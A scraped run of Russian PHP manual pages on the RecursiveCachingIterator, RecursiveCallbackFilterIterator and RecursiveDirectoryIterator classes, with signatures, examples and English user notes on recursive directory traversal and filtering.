Смотрите также

  • CachingIterator::__construct() - Создаёт новый объект CachingIterator для итератора

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveCachingIterator

  • « RecursiveCachingIterator::__construct
  • RecursiveCachingIterator::hasChildren »
  • PHP Manual
  • RecursiveCachingIterator
  • Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveCachingIterator

RecursiveCachingIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveCachingIterator::getChildren — Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveCachingIterator

Описание

public RecursiveCachingIterator::getChildren(): ?RecursiveCachingIterator
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Дочерние элементы внутреннего итератора, в виде объекта RecursiveCachingIterator; Возвращает null, если элементы внутреннего оператора отсутствуют.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, имеет ли текущий элемент внутреннего итератора дочерние элементы

  • « RecursiveCachingIterator::getChildren
  • RecursiveCallbackFilterIterator »
  • PHP Manual
  • RecursiveCachingIterator
  • Проверяет, имеет ли текущий элемент внутреннего итератора дочерние элементы

RecursiveCachingIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveCachingIterator::hasChildren — Проверяет, имеет ли текущий элемент внутреннего итератора дочерние элементы

Описание

public RecursiveCachingIterator::hasChildren(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если внутренний итератор имеет дочерние элементы; в противном случае - false

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveCallbackFilterIterator

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

Обзор классов

class RecursiveCallbackFilterIterator extends CallbackFilterIterator implements RecursiveIterator {
/* Методы */
public __construct(RecursiveIterator $iterator, callable $callback)
public getChildren(): RecursiveCallbackFilterIterator
public hasChildren(): bool
/* Наследуемые методы */
public CallbackFilterIterator::accept(): bool
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Примеры

Callback-функция может принимать до трёх аргументов: текущий элемент, текущий ключ и итератор, соответственно.

Пример #1 Доступные аргументы callback-функции

<?php

/**
* Callback-функция для RecursiveCallbackFilterIterator
*
* @param $current Значение текущего элемента
* @param $key Ключ текущего элемента
* @param $iterator Итератор, который фильтруется
* @return boolean TRUE для приёма текущего элемента или FALSE - в ином случае.
*/
function my_callback($current, $key, $iterator) {
// Здесь ваш код фильтрации
}

?>

Фильтрация рекурсивного итератора обычно включает в себя два условия. Первое заключается в том, чтобы разрешить рекурсию. Callback-функция должна возвращать true, если текущий элемент итератора имеет потомков. Второе - это нормальное условие фильтра, например, проверка размера файла или расширения, как в примере ниже.

Пример #2 Простой пример рекурсивного обратного вызова

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// Фильтр больших файлов ( > 100MB)
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
// Разрешить рекурсию
if ($iterator->hasChildren()) {
return TRUE;
}
// Проверка больших файлов
if ($current->isFile() && $current->getSize() > 104857600) {
return TRUE;
}
return FALSE;
});

foreach (new RecursiveIteratorIterator($files) as $file) {
echo $file->getPathname() . PHP_EOL;
}

?>

Содержание

  • RecursiveCallbackFilterIterator::__construct — Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator
  • RecursiveCallbackFilterIterator::getChildren — Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::hasChildren — Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы

User Contributed Notes

a dot belloundja at gmail dot com 01-Jan-2013 11:26
Here is a code that may implement similar functionality in PHP 5.2 or 5.3 :

<?php

class RecursiveCallbackFilterIterator extends RecursiveFilterIterator {

    public function __construct ( RecursiveIterator $iterator, $callback ) {

        $this->callback = $callback;

        parent::__construct($iterator);

    }

    public function accept () {

        $callback = $this->callback;

        return $callback(parent::current(), parent::key(), parent::getInnerIterator());

    }

    public function getChildren () {

        return new self($this->getInnerIterator()->getChildren(), $this->callback);

    }

}

?>
Anonymous 11-Dec-2011 01:31
Note that the following filters out both files and directories whos names start with the letter "T". The important thing here is that since the function returns false for a directory entry whos name starts with T, the directory is also not traversed recursively.

<?php
$doesntStartWithLetterT = function ($current) {
    return $current->getFileName()[0] !== 'T';
};

$rdi = new RecursiveDirectoryIterator(__DIR__);
$files = new RecursiveCallbackFilterIterator($rdi, $doesntStartWithLetterT);
foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}
?>


Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator

  • « RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::getChildren »
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator

RecursiveCallbackFilterIterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RecursiveCallbackFilterIterator::__construct — Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator

Описание

public RecursiveCallbackFilterIterator::__construct(RecursiveIterator $iterator, callable $callback)

Создаёт фильтрующий итератор на основе объекта-итератора RecursiveIterator, используя функцию callback для отбора нужных элементов.

Список параметров

iterator

Рекурсивный итератор, к которому нужно применить фильтр.

callback

Callback-функция, которая должна возвращать true, если текущий элемент подходит под условия фильтра, и false, если элемент нужно исключить из перебора. Смотрите Примеры.

Может быть любым допустимым callable значением.

Смотрите также

  • Примеры использования RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::getChildren() - Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator

  • « RecursiveCallbackFilterIterator::__construct
  • RecursiveCallbackFilterIterator::hasChildren »
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator

RecursiveCallbackFilterIterator::getChildren

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RecursiveCallbackFilterIterator::getChildren — Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator

Описание

public RecursiveCallbackFilterIterator::getChildren(): RecursiveCallbackFilterIterator

Выбирает дочерние элементы внутреннего итератора, подходящие под условия фильтра.

Прежде чем вызывать метод, необходимо удостовериться, что внутренний итератор содержит дочерние элементы. Сделать это можно с помощью метода RecursiveCallbackFilterIterator::hasChildren().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект RecursiveCallbackFilterIterator, содержащий дочерние элементы внутреннего итератора.

Смотрите также

  • Примеры использования RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::__construct() - Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы

  • « RecursiveCallbackFilterIterator::getChildren
  • RecursiveDirectoryIterator »
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы

RecursiveCallbackFilterIterator::hasChildren

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RecursiveCallbackFilterIterator::hasChildren — Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы

Описание

public RecursiveCallbackFilterIterator::hasChildren(): bool

Возвращает true, если у текущего элемента есть дочерние элементы и false, если нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если у текущего элемента есть дочерние элементы и false, если нет.

Примеры

Пример #1 Пример использования RecursiveCallbackFilterIterator::hasChildren()

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// Рекурсивный обход XML файлов
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
// просматривать директории
if ($iterator->hasChildren()) {
return TRUE;
}
// отбор XML файлов
if (!strcasecmp($current->getExtension(), 'xml')) {
return TRUE;
}
return FALSE;
});

?>

Смотрите также

  • Примеры использования RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::__construct() - Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator
  • RecursiveCallbackFilteriterator::getChildren() - Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveDirectoryIterator

(PHP 5, PHP 7, PHP 8)

Введение

Класс RecursiveDirectoryIterator предоставляет интерфейс для рекурсивного перебора каталогов файловой системы.

Обзор классов

class RecursiveDirectoryIterator extends FilesystemIterator implements RecursiveIterator {
/* Наследуемые константы */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* Методы */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public getChildren(): RecursiveDirectoryIterator
public getSubPath(): string
public getSubPathname(): string
public hasChildren(bool $allowLinks = false): bool
public key(): string
public next(): void
public rewind(): void
/* Наследуемые методы */
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • RecursiveDirectoryIterator::__construct — Конструктор класса RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren — Если текущий элемент является директорией, метод возвращает для неё итератор
  • RecursiveDirectoryIterator::getSubPath — Возвращает путь к поддиректории
  • RecursiveDirectoryIterator::getSubPathname — Возвращает путь к поддиректории и имя файла
  • RecursiveDirectoryIterator::hasChildren — Определяет, является ли текущий элемент директорией
  • RecursiveDirectoryIterator::key — Возвращает путь и имя файла текущего элемента
  • RecursiveDirectoryIterator::next — Переход к следующему элементу
  • RecursiveDirectoryIterator::rewind — Переводит итератор на начало директории

User Contributed Notes

divinity76+spam at gmail dot com 23-Apr-2022 08:29
if you just want a plain array, recursively, of all files (not directories), try

<?php

/**
 * returns a plain string array of path to all files in a directory, and subdirectories,
 * but does not return directories themselves. (meaning if a directory is empty, it will not be included at all)
 *
 * @param string $dir
 * @param bool $realpath
 * @throws UnexpectedValueException if $dir is not readable/does not exists
 * @return string[] files
 */
function get_file_list_recursively(string $dir, bool $realpath = false): array
{
    $files = array();
    $files = [];
    foreach ((new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS))) as $file) {
        /** @var SplFileInfo $file */
        if ($realpath) {
            $files[] = $file->getRealPath();
        } else {
            $files[] = $file->getPathname();
        }
    }
    return $files;
}
?>

sample return:
<?php
array (
  0 => '/home/hans/scraping/1650518081RESULTS.txt',
  1 => '/home/hans/scraping/1650518121RESULTS.txt',
  2 => '/home/hans/scraping/1650518679RESULTS.txt',
  3 => '/home/hans/scraping/1650518780RESULTS.txt',
  4 => '/home/hans/scraping/1650522198RESULTS.txt',
  5 => '/home/hans/scraping/1650522927RESULTS.txt',
  6 => '/home/hans/scraping/1650525391RESULTS.txt',
  7 => '/home/hans/scraping/check_cache.php',
  8 => '/home/hans/scraping/foo/bar.txt',
  9 => '/home/hans/scraping/foobar.txt',
  10 => '/home/hans/scraping/GoodProxyDaemon.php',
);
?>

(note to editor, if you can find a better sample return, feel absolutely free to overwrite the one above)
dxvargas 09-Sep-2019 08:54
When using the option FilesystemIterator::FOLLOW_SYMLINKS if there is a symlink to an upper directory there is a loop so we end up with repeated directories.
For example (having a -> ../ ):

/c
/c/..
/c/a
/c/a/c
/c/a/c/..
/c/a/c/a
/c/a/c/a/c
... (up to 40 x /c/a )
/c/a/c/a/..
/c/a/c/a/.
/c/a/c/.
/c/a/..
/c/a/.
/c/.
/..
/.

Apparently there is a limit to avoid having an infinite loop. I don't know documentation for this.

It would be interesting to have an option to allow following symlinks without loops.
flaurora_sonora 15-Aug-2019 11:30
Do not waste your time with this. I have included a function below that accomplishes the same thing more simply. If you want to do regex while iterating you can pass the regex into the recursive function as a parameter.

<?php

function recursive_read($directory, $entries_array = array()) {
    if(is_dir($directory)) {
        $handle = opendir($directory);
        while(FALSE !== ($entry = readdir($handle))) {
            if($entry == '.' || $entry == '..') {
                continue;
            }
            $Entry = $directory . DS . $entry;
            if(is_dir($Entry)) {
                $entries_array = recursive_read($Entry, $entries_array);
            } else {
                $entries_array[] = $Entry;
            }
        }
        closedir($handle);
    }
    return $entries_array;
}

?>
dev_zakaria at outlook dot com 15-Apr-2019 03:50
if you want to show the all files from all directories you have to follow it-

$dir = new RecursiveDirectoryIterator(getcwd());
$files = new RecursiveIteratorIterator($dir);

foreach($files as $file){
   echo $file->getFileName();
   echo PHP_EOL; // for new line
}

Now, if you want to show the full path, then follow this-

$dir = new RecursiveDirectoryIterator(getcwd());
$files = new RecursiveIteratorIterator($dir);

foreach($files as $file){
   echo $file->getPath().$file->getFileName();
   echo PHP_EOL;
}

If you want to skip the dots, you need to change the first line with this-
$dir = new RecursiveDirectoryIterator(getcwd(), RecursiveDirectoryIterator::SKIP_DOTS);
TDP 12-Apr-2017 02:25
There are differences between Windows and Linux about the order of the files.

<?php
$it = new RecursiveIteratorIterator(
    new RecursiveDirectoryIterator( 'path/to/dir' )
    //, does not matter the flag
    );
...
?>

On Windows, you will get the files ordered by name. On Linux they are not ordered.
alexandrebr at gmail dot com 20-Jan-2016 02:50
I tried to use RecursiveDirectoryIterator to dump all files (and theirs properties, such as size/is_link/is_dir/mtime/perms/owner/group) from a large directory (~400.000 files), filtering some specific wanted files/folders.

Using RecursiveDirectoryIterator and SplFileInfo, dump was taking about 50 seconds to perform, but it was working.

However, to improve performance, I decided to make another version of the same script, using only direct file functions, such as "readdir", "filesize", "filemtime", etc.., and adding recursivity myself (if(is_dir($path)) doRecursivity($path);

After running it, script went from ~50s to only ~20s to complete (On Linux CentOS 7, SSD 300IPs).

Strangely, on Windows 7, Sata3 (with exactly same files [mirrored]) the time went from ~63s to ~57s.

I believe that this payload is due to the OO approach of SPL, which runs lots of unnecessary extra code to perform the same tasks with more reliability, while direct file funcions are more like alias to C corresponding functions, and thereover, must faster.

So, if you're dealing with a large amount of files, using RecursiveDirectoryIterator is probably not the way to go.
flobee 29-Mar-2015 02:58
In this doc page i see things for to hide hidden files  (also for opendir() or readdir() .... this should be mentiond all there
<?php
// not hidden but on most OS systems Win, *nix, OSX..
if ($file == '.' || $file == '..') {
     // "." current dir info,
     // ".." dir above info,
          continue;
?>
or
<?php
if $name[0] === '.' // NOT OK FOLKS
?>
Think:
"... and then came Polly.avi" is the title of the Movi. What do you do then?

Windows does it different with hidden files than unix based systems.

For unix based systems  something like this should work:
<?php
if (preg_match('/^(\.\w+|\.$|\.\.$)/i', $location)) {
/* is hidden:
    .
    ..
    .dir
    .file
*/
}
// must be ok: "..some thing", "... some thing"
?>

I know you do it (if $name[0] === '.' ) because it is much faster. But it is NOT correct and some day you miss things like me today :-)
sun 28-Feb-2014 08:39
Since I continue to run into implementations across the net that are unintentionally running into this trap — beware:

RecursiveDirectoryIterator recurses without limitations into the full filesystem tree.

Do NOT do the following, unless you intentionally want to infinitely recurse without limitations:

<?php
$directory = new \RecursiveDirectoryIterator($path);
$iterator = new \RecursiveIteratorIterator($directory);
$files = array();
foreach ($iterator as $info) {
  if (...custom conditions...) {
    $files[] = $info->getPathname();
  }
}
?>

1. RecursiveDirectoryIterator is just a RecursiveIterator that recurses into its children, until no more children are found.

2. The instantiation of RecursiveIteratorIterator causes RecursiveDirectoryIterator to *immediately* recurse infinitely into the entire filesystem tree (starting from the given base path).

3. Unnecessary filesystem recursion is slow.  In 90% of all cases, this is not what you want.

Remember this simple rule of thumb:

> A RecursiveDirectoryIterator must be FILTERED or you have a solid reason for why it shouldn't.

On PHP <5.4, implement the following - your custom conditions move into a proper filter:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new MyRecursiveFilterIterator($directory);
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}

class MyRecursiveFilterIterator extends \RecursiveFilterIterator {

  public function accept() {
    $filename = $this->current()->getFilename();
    // Skip hidden files and directories.
    if ($name[0] === '.') {
      return FALSE;
    }
    if ($this->isDir()) {
      // Only recurse into intended subdirectories.
      return $name === 'wanted_dirname';
    }
    else {
      // Only consume files of interest.
      return strpos($name, 'wanted_filename') === 0;
    }
  }

}
?>

On PHP 5.4+, PHP core addressed the slightly cumbersome issue of having to create an entirely new class and you can leverage the new RecursiveCallbackFilterIterator instead:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new \RecursiveCallbackFilterIterator($directory, function ($current, $key, $iterator) {
  // Skip hidden files and directories.
  if ($current->getFilename()[0] === '.') {
    return FALSE;
  }
  if ($current->isDir()) {
    // Only recurse into intended subdirectories.
    return $current->getFilename() === 'wanted_dirname';
  }
  else {
    // Only consume files of interest.
    return strpos($current->getFilename(), 'wanted_filename') === 0;
  }
});
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}
?>

Have fun!
rockerBOO 19-Jan-2014 04:01
When looping through the RecursiveDirectoryIterator , the results use  SplFileInfo.
Edward Rudd 18-Dec-2013 04:11
(related to the post about exceptions in getChildren().

instead of subclassing you can simply use the CATCH_GET_CHILD flag for RecursiveIteratorIterator

new RecursiveIteratorIterator($diriter, RecursiveIteratorIterator::CATCH_GET_CHILD);
dblanchard1 at bbox dot fr 13-Nov-2013 09:07
If you want to copy all files recursively from a source directory to some destination  :

    $directory = new RecursiveDirectoryIterator("./source_path/");

    foreach (new RecursiveIteratorIterator($directory) as $filename=>$current) {

            $src = $current->getPathName();
            $dest = "./destination_path/" . $current->getFileName();

            echo "copy " .  $src . " => " . $dest  . "\n";

            copy($src, $dest);
     }

I hope it can help someone because when I looked for this solution I had to transform another example to get it.
catinahat at cool dot fr dot nf 19-Jan-2013 12:44
If you need to convert a nested directory tree into a multidimensional array, use this code:

<?php
$ritit = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startpath), RecursiveIteratorIterator::CHILD_FIRST);
$r = array();
foreach ($ritit as $splFileInfo) {
   $path = $splFileInfo->isDir()
         ? array($splFileInfo->getFilename() => array())
         : array($splFileInfo->getFilename());

   for ($depth = $ritit->getDepth() - 1; $depth >= 0; $depth--) {
       $path = array($ritit->getSubIterator($depth)->current()->getFilename() => $path);
   }
   $r = array_merge_recursive($r, $path);
}

print_r($r);
?>
Josh Heidenreich 14-Feb-2012 03:51
The returned object is an iterator of SplFileInfo objects.
antennen 02-Jan-2011 09:40
If you use RecursiveDirectoryIterator with RecursiveIteratorIterator and run into UnexpectedValueException you may use this little hack to ignore those directories, such as lost+found on linux.

<?php
class IgnorantRecursiveDirectoryIterator extends RecursiveDirectoryIterator {
    function getChildren() {
        try {
            return new IgnorantRecursiveDirectoryIterator($this->getPathname());
        } catch(UnexpectedValueException $e) {
            return new RecursiveArrayIterator(array());
        }
    }
}
?>

Use just like the normal RecursiveDirectoryIterator.
Thriault 09-Apr-2010 12:05
If you would like to get, say, all the *.php files in your project folder, recursively, you could use the following:

<?php

$Directory = new RecursiveDirectoryIterator('path/to/project/');
$Iterator = new RecursiveIteratorIterator($Directory);
$Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH);

?>

$Regex will contain a single index array for each PHP file.
megar 15-Jul-2009 01:57
Usage example:
To see all the files, and count the space usage:

<?php
$ite=new RecursiveDirectoryIterator("/path/");

$bytestotal=0;
$nbfiles=0;
foreach (new RecursiveIteratorIterator($ite) as $filename=>$cur) {
    $filesize=$cur->getSize();
    $bytestotal+=$filesize;
    $nbfiles++;
    echo "$filename => $filesize\n";
}

$bytestotal=number_format($bytestotal);
echo "Total: $nbfiles files, $bytestotal bytes\n";
?>
alvaro at demogracia dot com 18-Sep-2008 08:15
Usage example:

<?php

$path = realpath('/etc');

$objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::SELF_FIRST);
foreach($objects as $name => $object){
    echo "$name\n";
}

?>

This prints a list of all files and directories under $path (including $path ifself). If you want to omit directories, remove the RecursiveIteratorIterator::SELF_FIRST part.


Конструктор класса RecursiveDirectoryIterator

  • « RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Конструктор класса RecursiveDirectoryIterator

RecursiveDirectoryIterator::__construct

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

RecursiveDirectoryIterator::__construct — Конструктор класса RecursiveDirectoryIterator

Описание

public RecursiveDirectoryIterator::__construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)

Создаёт новый объект класса RecursiveDirectoryIterator(), используя заданный путь directory.

Список параметров

directory

Путь к директории, по которой будет осуществляться навигация.

flags

Можно установить несколько флагов от которых будет зависеть поведение некоторых методов. Список возможных флагов можно найти на странице Предопределённых констант класса FilesystemIterator. Флаги можно задать позднее методом FilesystemIterator::setFlags().

Ошибки

Выбрасывает исключение UnexpectedValueException, если директория directory не существует.

Выбрасывает исключение ValueError, если параметр directory содержит пустую строку.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывает исключение ValueError, если параметр directory содержит пустую строку. ранее выбрасывалось исключение RuntimeException.

Примеры

Пример #1 Пример использования RecursiveDirectoryIterator

<?php

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

$it->rewind();
while($it->valid()) {

if (!$it->isDot()) {
echo 'Имя файла: ' . $it->getSubPathName() . "\n";
echo 'Поддиректория: ' . $it->getSubPath() . "\n";
echo 'Ключ: ' . $it->key() . "\n\n";
}

$it->next();
}

?>

Результатом выполнения данного примера будет что-то подобное:

Имя файла: fruit/apple.xml
Поддиректория: fruit
Ключ: /tmp/fruit/apple.xml

Имя файла: stuff.xml
Поддиректория:
Ключ: /tmp/stuff.xml

Имя файла: veggies/carrot.xml
Поддиректория: veggies
Ключ: /tmp/veggies/carrot.xml

Смотрите также

  • FilesystemIterator::__construct() - Создаёт новый итератор файловой системы
  • RecursiveIteratorIterator::__construct() - Конструктор класса RecursiveIteratorIterator
  • Предопределённые константы класса FilesystemIterator

User Contributed Notes

hanskrentel at yahoo dot de 02-Sep-2012 09:54
The two default flags are zero (virtual) as with my PHP versions (5.3 and 5.4). Which means you can not check if those are set or not with the & bitwise operator:

<?php
// CURRENT_AS_FILEINFO (0)
// KEY_AS_PATHNAME (0)

### always FALSE ###
$directoryIterator->getFlags() & RecursiveDirectoryIterator::CURRENT_AS_FILEINFO;

?>

But this also allows that you can use other flags right ahead without repeating the default ones:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::UNIX_PATHS
);
?>

There is no need to repeat the default flags. Please note that this is different to FilesystemIterator which has as well the SKIP_DOTS flag as default which is non-zero:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::SKIP_DOTS
        | FilesystemIterator::UNIX_PATHS
);
?>
pedro dot matamouros at gmail dot com 17-Sep-2010 05:43
You can use RecursiveDirectoryIterator::FOLLOW_SYMLINKS as a flag to the constructor to have RecursiveDirectoryIterator follow symlinks, which it does not do by default.

[EDIT BY danbrown AT php DOT net on 16-JUL-2012: Contains a typofix provided by (lightrekky AT gmail DOT com) in note #109280 on 02-JUL-2012.]


Если текущий элемент является директорией, метод возвращает для неё итератор

  • « RecursiveDirectoryIterator::__construct
  • RecursiveDirectoryIterator::getSubPath »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Если текущий элемент является директорией, метод возвращает для неё итератор

RecursiveDirectoryIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveDirectoryIterator::getChildren — Если текущий элемент является директорией, метод возвращает для неё итератор

Описание

public RecursiveDirectoryIterator::getChildren(): RecursiveDirectoryIterator
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя файла, информация о файле или ссылка на объект $this. Что именно будет возвращаться зависит от флагов настроек. Смотрите дополнительно Константы FilesystemIterator.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает путь к поддиректории

  • « RecursiveDirectoryIterator::getChildren
  • RecursiveDirectoryIterator::getSubPathname »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Возвращает путь к поддиректории

RecursiveDirectoryIterator::getSubPath

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveDirectoryIterator::getSubPath — Возвращает путь к поддиректории

Описание

public RecursiveDirectoryIterator::getSubPath(): string

Возвращает путь к поддиректории относительно директории, заданной в конструкторе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Путь к поддиректории.

Примеры

Пример #1 Пример использования getSubPath()

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

foreach ($it as $file) {
echo 'Имя файла: ' . $it->getSubPathName() . "\n";
echo 'Поддиректория: ' . $it->getSubPath() . "\n\n";
}

Результатом выполнения данного примера будет что-то подобное:

     Имя файла: fruit/apple.xml
     Поддиректория: fruit

     Имя файла: stuff.xml
     Поддиректория:

     Имя файла: veggies/carrot.xml
     Поддиректория: veggies

Смотрите также

  • RecursiveDirectoryIterator::getSubPathName() - Возвращает путь к поддиректории и имя файла
  • RecursiveDirectoryIterator::key() - Возвращает путь и имя файла текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает путь к поддиректории и имя файла

  • « RecursiveDirectoryIterator::getSubPath
  • RecursiveDirectoryIterator::hasChildren »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Возвращает путь к поддиректории и имя файла

RecursiveDirectoryIterator::getSubPathname

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveDirectoryIterator::getSubPathname — Возвращает путь к поддиректории и имя файла

Описание

public RecursiveDirectoryIterator::getSubPathname(): string

Возвращает путь к поддиректории и имя файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь к поддиректории и имя файла.

Примеры

Пример #1 Пример использования getSubPathname()

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

foreach ($it as $file) {
echo 'Имя файла: ' . $it->getSubPathName() . "\n";
echo 'Поддиректория: ' . $it->getSubPath() . "\n\n";
}

Результатом выполнения данного примера будет что-то подобное:

     Имя файла: fruit/apple.xml
     Поддиректория: fruit

     Имя файла: stuff.xml
     Поддиректория:

     Имя файла: veggies/carrot.xml
     Поддиректория: veggies

Смотрите также

